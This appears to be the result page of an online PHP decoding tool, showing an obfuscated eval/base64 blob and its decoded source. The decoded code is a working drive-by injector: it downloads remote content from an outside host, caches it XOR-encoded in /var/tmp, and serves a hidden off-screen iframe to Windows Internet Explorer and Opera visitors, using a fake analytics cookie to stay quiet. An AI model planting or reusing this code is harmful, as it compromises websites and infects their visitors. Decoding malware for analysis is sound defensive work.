Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('dVRtb9s2EP7sAfsPF0MopUSxZLRNM9tKU7TeVmxLCsfZPgSZoFCUzUaiNJK..

Decoded Output download

if (!defined('frmDs')){
	define('frmDs' ,1);
	
	function frm_dl ($url) {
		if (function_exists('curl_init')) {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			$out = curl_exec ($ch);
			if (curl_errno($ch) !== 0) $out = false;
			curl_close ($ch);
		} else {$out = file_get_contents($url);}
		return trim($out);
	}
	
	function frm_crpt($in){
		$il=strlen($in);$o='';
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
		return $o;
	}
	
	function frm_getfrm()
	{
		$defframe = '<style>.kdapu { position:absolute; left:-686px; top:-819px; }</style> <div class="kdapu"><iframe src="http://briirddzbn.myfw.us/jquery/get.php?ver=jquery.latest.js" width="473" height="471"></iframe></div>'; //default frame
		$codelink = 'http://briirddzbn.myfw.us/nc/gnc.php?ver=jquery.latest.js';
		if (!$codelink){
			return $defframe;
		}
	
		$dr='/var/tmp';
		$f = $dr.'/sess_'.md5('frm_frame');
		if(!file_exists($f) || time() - filemtime($f) > 60*5)
		{
			$dlc = frm_dl($codelink);
			if ($dlc){
				if ($fp = @fopen($f, 'w')){
					fwrite($fp, frm_crpt($dlc));
					fclose($fp);
				}
				else
					return $dlc;
			}
			else
				@unlink($f);
		}
		$fc = @file_get_contents($f);
		return ($fc)?frm_crpt($fc):$defframe;
	}
	
	$ua = $_SERVER['HTTP_USER_AGENT'];
	if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
		error_reporting(0);
		
		if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
			@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
			print($nfc);
		}
	}
}

Did this file decode correctly?

Original Code

 eval(gzinflate(base64_decode('dVRtb9s2EP7sAfsP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4jucCQ6HpXZfzh918=')));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 f84391722513867a6fb326cd04b7b99e
Eval Count 1
Decode Time 78 ms